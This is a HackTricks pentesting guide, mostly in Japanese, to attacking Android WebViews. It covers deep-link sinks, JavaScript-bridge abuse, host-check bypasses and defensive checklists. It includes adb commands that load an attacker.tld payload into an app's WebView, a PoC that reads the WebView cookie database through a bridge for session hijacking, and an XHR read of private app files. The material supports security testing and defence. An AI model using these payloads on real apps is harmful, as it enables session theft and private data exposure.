WebView 攻撃

Reading time: 26 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

WebViewの設定とセキュリティに関するガイド

WebViewの脆弱性の概要

Android 開発において重要な側面の一つは WebView の正しい扱いです。本ガイドでは、WebView の使用に伴うリスクを軽減するための主要な設定とセキュリティ対策を解説します。

WebViewの例

WebViewにおけるファイルアクセス

デフォルトでは、WebView はファイルアクセスを許可します。この機能は setAllowFileAccess() メソッドで制御され、Android API level 3 (Cupcake 1.5) 以降で利用可能です。android.permission.READ_EXTERNAL_STORAGE 権限を持つアプリは、file URL スキーム(file://path/to/file)を使用して外部ストレージのファイルを読み取ることができます。

非推奨の機能: Universal and File Access From URLs

  • Universal Access From File URLs: この非推奨の機能は file URL からのクロスオリジンリクエストを許可しており、潜在的な XSS 攻撃のため重大なセキュリティリスクを生じます。Android Jelly Bean 以降をターゲットにしたアプリではデフォルトで無効(false)です。
  • この設定を確認するには getAllowUniversalAccessFromFileURLs() を使用します。
  • この設定を変更するには setAllowUniversalAccessFromFileURLs(boolean) を使用します。
  • File Access From File URLs: こちらも非推奨の機能で、他の file スキームの URL からのコンテンツへのアクセスを制御します。Universal access と同様に、セキュリティ強化のためデフォルトでは無効になっています。
  • 確認には getAllowFileAccessFromFileURLs()、設定には setAllowFileAccessFromFileURLs(boolean) を使用します。

安全なファイル読み込み

ファイルシステムへのアクセスを無効にしつつ assets や resources へのアクセスを維持したい場合は、setAllowFileAccess() メソッドを使用します。Android R 以降ではデフォルトは false です。

  • getAllowFileAccess() で確認します。
  • setAllowFileAccess(boolean) で有効/無効を切り替えます。

WebViewAssetLoader

WebViewAssetLoader クラスはローカルファイルを読み込むための現代的なアプローチです。ローカルの assets や resources にアクセスする際に http(s) URL を使用し、Same-Origin policy に整合するため CORS の管理が容易になります。

loadUrl

これは任意の URL を WebView に読み込ませるためによく使われる関数です:

java
webview.loadUrl("<url here>")

Ofc, a potential attacker should never be able to control the URL that an application is going to load.

JavaScript と Intent Scheme の処理

  • JavaScript: WebViewsではデフォルトで無効になっており、setJavaScriptEnabled() で有効化できます。適切な保護策なしにJavaScriptを有効にするとセキュリティ脆弱性を招く可能性があるため注意が必要です。
  • Intent Scheme: WebViewsはintentスキームを処理でき、適切に管理されていないとエクスプロイトにつながる可能性があります。例として、公開された WebView パラメータ "support_url" が悪用され、cross-site scripting (XSS) 攻撃を実行されるという脆弱性がありました。

脆弱な WebView

adb を使用した悪用例:

bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

JavaScript ブリッジ

Android は WebView 内の JavaScriptネイティブ Android アプリの機能 を呼び出せる機能を提供しています。これは addJavascriptInterface メソッドを使用して JavaScript をネイティブ Android 機能と統合することで実現され、これを WebView JavaScript bridge と呼びます。注意すべき点として、このメソッドは WebView 内のすべてのページから登録された JavaScript Interface オブジェクトにアクセスできるため、これらのインターフェースを通じて機密情報が露出するとセキュリティリスクが生じます。

  • Extreme caution is required: Android 4.2 未満をターゲットにしたアプリでは、reflection を悪用した悪意ある JavaScript によって remote code execution を引き起こす脆弱性があるため、特に注意が必要です。

JavaScript ブリッジの実装

  • JavaScript interfaces はネイティブコードと相互作用でき、以下の例のようにクラスのメソッドが JavaScript に公開されます:
javascript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge は WebView にインターフェースを追加することで有効になります:
javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • JavaScript経由の潜在的な悪用は、例えばXSS attackを介して、公開されたJavaメソッドの呼び出しを可能にします:
html
<script>
alert(javascriptBridge.getSecret())
</script>
  • リスクを軽減するため、restrict JavaScript bridge usage を APK に同梱されたコードに限定し、リモートソースからの JavaScript の読み込みを防いでください。古いデバイスでは、API level を 17 に設定してください。

Reflection-based Remote Code Execution (RCE)

  • ドキュメント化された手法では、特定のペイロードを実行することで reflection を介して RCE を達成できます。ただし、@JavascriptInterface アノテーションは不正なメソッドアクセスを防止し、攻撃対象領域を制限します。

Remote Debugging

  • Remote debuggingChrome Developer Tools で可能で、WebView のコンテンツ内での対話や任意の JavaScript 実行を可能にします。

Enabling Remote Debugging

  • Remote debugging はアプリケーション内のすべての WebViews に対して、次のように有効にできます:
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • アプリケーションの debuggable 状態に基づいて debugging を条件付きで有効にするには:
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrate 任意のファイル

  • XMLHttpRequest を使用して任意のファイルの exfiltration を実演します:
javascript
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

Webview 攻撃

Guide on WebView Configurations and Security

Overview of WebView Vulnerabilities

Android開発において重要な点のひとつは、WebViewsの正しい扱いです。本ガイドは、WebView使用に伴うリスクを軽減するための主要な設定とセキュリティ対策を示します。

WebView Example

File Access in WebViews

デフォルトでは、WebViewsはファイルアクセスを許可します。この機能は setAllowFileAccess() メソッドで制御され、Android API level 3 (Cupcake 1.5) 以降で利用可能です。android.permission.READ_EXTERNAL_STORAGE 権限を持つアプリは、file URL スキーム(file://path/to/file)を使って外部ストレージからファイルを読み取ることができます。

Deprecated Features: Universal and File Access From URLs

  • Universal Access From File URLs: この廃止された機能は、file URL からのクロスオリジンリクエストを許可しており、XSS 攻撃の可能性により重大なセキュリティリスクを引き起こしていました。Android Jelly Bean 以降をターゲットにしたアプリではデフォルトで無効(false)になっています。
  • この設定を確認するには getAllowUniversalAccessFromFileURLs() を使用します。
  • この設定を変更するには setAllowUniversalAccessFromFileURLs(boolean) を使用します。
  • File Access From File URLs: この機能も廃止されており、他の file スキーム URL からのコンテンツへのアクセスを制御していました。ユニバーサルアクセス同様、セキュリティ強化のためデフォルトで無効です。
  • 確認には getAllowFileAccessFromFileURLs()、設定には setAllowFileAccessFromFileURLs(boolean) を使用します。

Secure File Loading

ファイルシステムへのアクセスを無効にしつつ assets や resources にはアクセスしたい場合は、setAllowFileAccess() を使用します。Android R 以降ではデフォルト設定は false です。

  • 確認: getAllowFileAccess()
  • 有効化/無効化: setAllowFileAccess(boolean)

WebViewAssetLoader

WebViewAssetLoader クラスはローカルファイルを読み込むための現代的な方法です。ローカルの assets や resources へは http(s) URL を使ってアクセスし、同一生成元ポリシー(Same-Origin policy)に沿うため、CORS の管理が容易になります。

loadUrl

これは任意の URL を WebView に読み込むためによく使われる関数です:

java
webview.loadUrl("<url here>")

もちろん、潜在的な攻撃者がアプリケーションが読み込むURLを制御できてはいけません。

Deep-linking into internal WebView (custom scheme → WebView sink)

多くのアプリは custom schemes/paths を登録して、ユーザー提供の URL を in-app WebView にルーティングします。もし deep link が exported(VIEW + BROWSABLE)の場合、攻撃者はアプリに arbitrary remote content を WebView context 内でレンダリングさせることができます。

Typical manifest pattern (simplified):

xml
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>

一般的なコードフロー (簡略化):

java
// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}

// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));

adbを介した攻撃パターンとPoC:

bash
# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact: リモートページがアプリの WebView コンテキストで実行される(アプリの WebView プロファイルの cookies/session、公開されている @JavascriptInterface へのアクセス、設定によっては content:// および file:// への潜在的アクセス)。

Hunting tips:

  • 逆コンパイルされたソースを grep して getQueryParameter("url")loadUrl(WebView sinks、および deep-link ハンドラ(onCreate/onNewIntent)を探す。
  • manifest を確認し、VIEW+BROWSABLE フィルタや後で activity を起動して WebView を開始するようマップされるカスタムスキーム/ホストを探す。
  • 複数の deep-link パス(例: “external browser” パス vs. “internal webview” パス)があるかを確認し、アプリ内でレンダリングされる方を優先する。

検証前に JavaScript を有効化する(チェック順序のバグ)

よくある hardening ミスは、最終的な allowlist/検証 が完了する前に JavaScript を有効にしたり、緩い WebView 設定を適用したりすることです。検証がヘルパー間で一貫していないか、遅すぎる場合、攻撃者の deep link は次の状態に到達する可能性があります:

  1. WebView 設定が適用される(例: setJavaScriptEnabled(true))、および
  2. 信頼されていない URL が JavaScript 有効の状態でロードされる。

Bug pattern (pseudocode):

java
// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;

// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();

// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled

// 4) Load
webView.loadUrl(u.toString());

悪用可能な理由

  • 正規化の不一致: ヘルパーがURLを分割/再構築する方法が最終チェックと異なり、悪意のあるURLが悪用できる不整合を生む。
  • 処理の順序誤り: ステップ2でJSを有効にするとWebViewインスタンス全体に適用され、後で検証が失敗しても最終的なロードに影響を与える。

テスト方法

  • 初期のチェックを通過してWebViewの設定箇所に到達するdeep-link payloadsを作成する。
  • adbを使い、暗黙のVIEW intentsを発行してあなたが制御するurl=パラメータを渡す:
bash
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

exploitation が成功した場合、あなたの payload はアプリの WebView 内で JavaScript を実行します。そこから、公開されている bridges を探ります:

html
<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>

Defensive guidance

  • 一度正規化し、単一の信頼できる情報源(scheme/host/path/query)に対して厳密に検証する。
  • すべての allowlist チェックを通過した後、かつ信頼できるコンテンツを読み込む直前にのみ setJavaScriptEnabled(true) を呼び出す。
  • 信頼できないオリジンに @JavascriptInterface を公開しない。オリジンごとのゲーティングを推奨する。
  • 信頼できるコンテンツと信頼できないコンテンツで WebView インスタンスを分け、デフォルトで JS を無効にすることを検討する。

JavaScript と Intent Scheme の取り扱い

  • JavaScript: WebView ではデフォルトで無効。setJavaScriptEnabled() で有効化できる。適切な保護措置なしに JavaScript を有効にするとセキュリティ脆弱性を招く可能性があるため注意が必要である。
  • Intent Scheme: WebView は intent スキームを処理でき、慎重に管理しないとエクスプロイトにつながる可能性がある。ある脆弱性の例では、公開された WebView パラメータ "support_url" を悪用してクロスサイトスクリプティング (XSS) 攻撃を実行できた。

Vulnerable WebView

adb を使用したエクスプロイトの例:

bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Android は、WebView 内の JavaScriptネイティブ Android アプリの機能 を呼び出せる機能を提供します。これは addJavascriptInterface メソッドを利用して実現され、JavaScript をネイティブの Android 機能と統合する、いわゆる WebView JavaScript bridge です。このメソッドは WebView 内の全てのページが登録された JavaScript Interface オブジェクトにアクセスできるため、これらのインターフェースを通じて機密情報が公開されるとセキュリティリスクを引き起こす可能性があるので注意が必要です。

  • 特に注意が必要です — Android 4.2 未満をターゲットとするアプリは、悪意ある JavaScript を介して reflection を悪用し remote code execution を許す脆弱性があるため。

JavaScript Bridge の実装

  • JavaScript interfaces はネイティブコードとやり取りできます。以下の例のようにクラスのメソッドが JavaScript に公開されています:
javascript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge は WebView に interface を追加することで有効になります:
javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • JavaScript を介した潜在的な悪用は、例えば XSS attack によって、公開された Java メソッドの呼び出しを可能にします:
html
<script>
alert(javascriptBridge.getSecret())
</script>
  • リスクを軽減するため、JavaScript bridge の使用を APK に同梱されたコードに制限し、リモートソースからの JavaScript の読み込みを防いでください。古いデバイスでは、最小 API レベルを 17 に設定してください。

Abusing dispatcher-style JS bridges (invokeMethod/handlerName)

A common pattern is a single exported method (e.g., @JavascriptInterface void invokeMethod(String json)) that deserializes attacker-controlled JSON into a generic object and dispatches based on a provided handler name. Typical JSON shape:

json
{
"handlerName": "toBase64",
"callbackId": "cb_12345",
"asyncExecute": "true",
"data": { /* handler-specific fields */ }
}

Risk: 登録済みのハンドラが攻撃者のデータに対して特権的な操作(例: 直接ファイル読み取り)を行う場合、handlerName を適切に設定することでそれを呼び出せます。結果は通常 evaluateJavascript を介してページコンテキストに返され、callbackId をキーにした callback/promise 機構で受け取られます。

Key hunting steps

  • 逆コンパイルして addJavascriptInterface( を grep し、bridge オブジェクト名(例: xbridge)を特定する。
  • Chrome DevTools (chrome://inspect) で Console に bridge オブジェクト名(例: xbridge)を入力して公開されているフィールド/メソッドを列挙する。invokeMethod のような汎用ディスパッチャを探せ。
  • getModuleName() を実装しているクラスや登録マップを検索してハンドラを列挙する。

Arbitrary file read via URI → File sinks (Base64 exfiltration)

If a handler takes a URI, calls Uri.parse(req.getUri()).getPath(), builds new File(...) and reads it without allowlists or sandbox checks, you get an arbitrary file read in the app sandbox that bypasses WebView settings like setAllowFileAccess(false) (the read happens in native code, not via the WebView network stack).

PoC to exfiltrate the Chromium WebView cookie DB (session hijack):

javascript
// Minimal callback sink so native can deliver the response
window.WebViewJavascriptBridge = {
_handleMessageFromObjC: function (data) { console.log(data) }
};

const payload = JSON.stringify({
handlerName: 'toBase64',
callbackId: 'cb_' + Date.now(),
data: { uri: 'file:///data/data/<pkg>/app_webview/Default/Cookies' }
});

xbridge.invokeMethod(payload);

注意

  • Cookie DB paths vary across devices/providers. Common ones:
  • file:///data/data/<pkg>/app_webview/Default/Cookies
  • file:///data/data/<pkg>/app_webview_<pkg>/Default/Cookies
  • ハンドラは Base64 を返します;デコードしてクッキーを復元し、アプリの WebView プロファイルでユーザをなりすますことができます。

検出のヒント

  • アプリを使用しているときに evaluateJavascript 経由で返される大きな Base64 文字列に注意してください。
  • 逆コンパイルしたソースを grep して、uri/path を受け取り new File(...) に変換するハンドラを探します。

Bypassing WebView privilege gates – endsWith() host checks

権限の決定(JSB を有効にした Activity を選択すること)はしばしばホストの許可リストに依存します。問題のあるパターンは:

java
String host = Uri.parse(url).getHost();
boolean z = true;
if (!host.endsWith(".trusted.com")) {
if (!".trusted.com".endsWith(host)) {
z = false;
}
}
// z==true → open privileged WebView

等価な論理(ド・モルガンの法則):

java
boolean z = host.endsWith(".trusted.com") ||
".trusted.com".endsWith(host);

これは origin check ではありません。多くの意図しないホストが2番目の節を満たし、信頼できないドメインを特権的な Activity に入れてしまいます。常に scheme と host を厳格な allowlist(exact match またはドット境界を使った正しい subdomain チェック)と照合し、endsWith のようなトリックを使わないでください。

javascript:// execution primitive via loadUrl

特権的な WebView 内に入ると、アプリは時々以下のように inline JS を実行します:

java
webView.loadUrl("javascript:" + jsPayload);

If an internal flow triggers loadUrl("javascript:...") in that context, injected JS executes with bridge access even if the external page wouldn’t normally be allowed. Pentest steps:

  • アプリ内で loadUrl("javascript:evaluateJavascript( をgrepする。
  • 許可されたWebViewへナビゲーションを強制して(例: permissive deep link chooser を使う)、それらのコードパスに到達できるか試す。
  • そのプリミティブを使い dispatcher (xbridge.invokeMethod(...)) を呼び出して機密ハンドラに到達する。

Mitigations (developer checklist)

  • 特権Activityに対する厳格なオリジン検証: scheme/host を正規化して明示的な allowlist と比較し、endsWith ベースのチェックは避ける。該当する場合は Digital Asset Links を検討する。
  • ブリッジは信頼できるページにのみスコープし、呼び出しごとに信頼を再確認する(per-call authorization)。
  • ファイルシステムにアクセスできるハンドラは削除するか厳重に保護する。生の file:// パスよりも content:// を allowlists/permissions と併用することを推奨。
  • 特権コンテキストで loadUrl("javascript:") を避けるか、強力なチェックの背後に置く。
  • setAllowFileAccess(false) は bridge 経由のネイティブなファイル読み取りから保護しない点を忘れないこと。

JSB enumeration and debugging tips

  • Enable WebView remote debugging to use Chrome DevTools Console:
  • App-side (debug builds): WebView.setWebContentsDebuggingEnabled(true)
  • System-side: modules like LSPosed or Frida scripts can force-enable debugging even in release builds. Example Frida snippet for Cordova WebViews: cordova enable webview debugging
  • In DevTools, type the bridge object name (e.g., xbridge) to see exposed members and probe the dispatcher.

Reflection-based Remote Code Execution (RCE)

  • A documented method allows achieving RCE through reflection by executing a specific payload. However, the @JavascriptInterface annotation prevents unauthorized method access, limiting the attack surface.

Remote Debugging

  • リモートデバッグChrome Developer Toolsで可能で、WebView コンテンツ内での対話や任意の JavaScript 実行を可能にする。

Enabling Remote Debugging

  • アプリ内のすべての WebView に対してリモートデバッグを有効にするには:
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • アプリの debuggable 状態に応じてデバッグを条件付きで有効にするには:
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrate arbitrary files

  • XMLHttpRequest を使用して任意のファイルの exfiltration を実演します:
javascript
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

参考資料

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする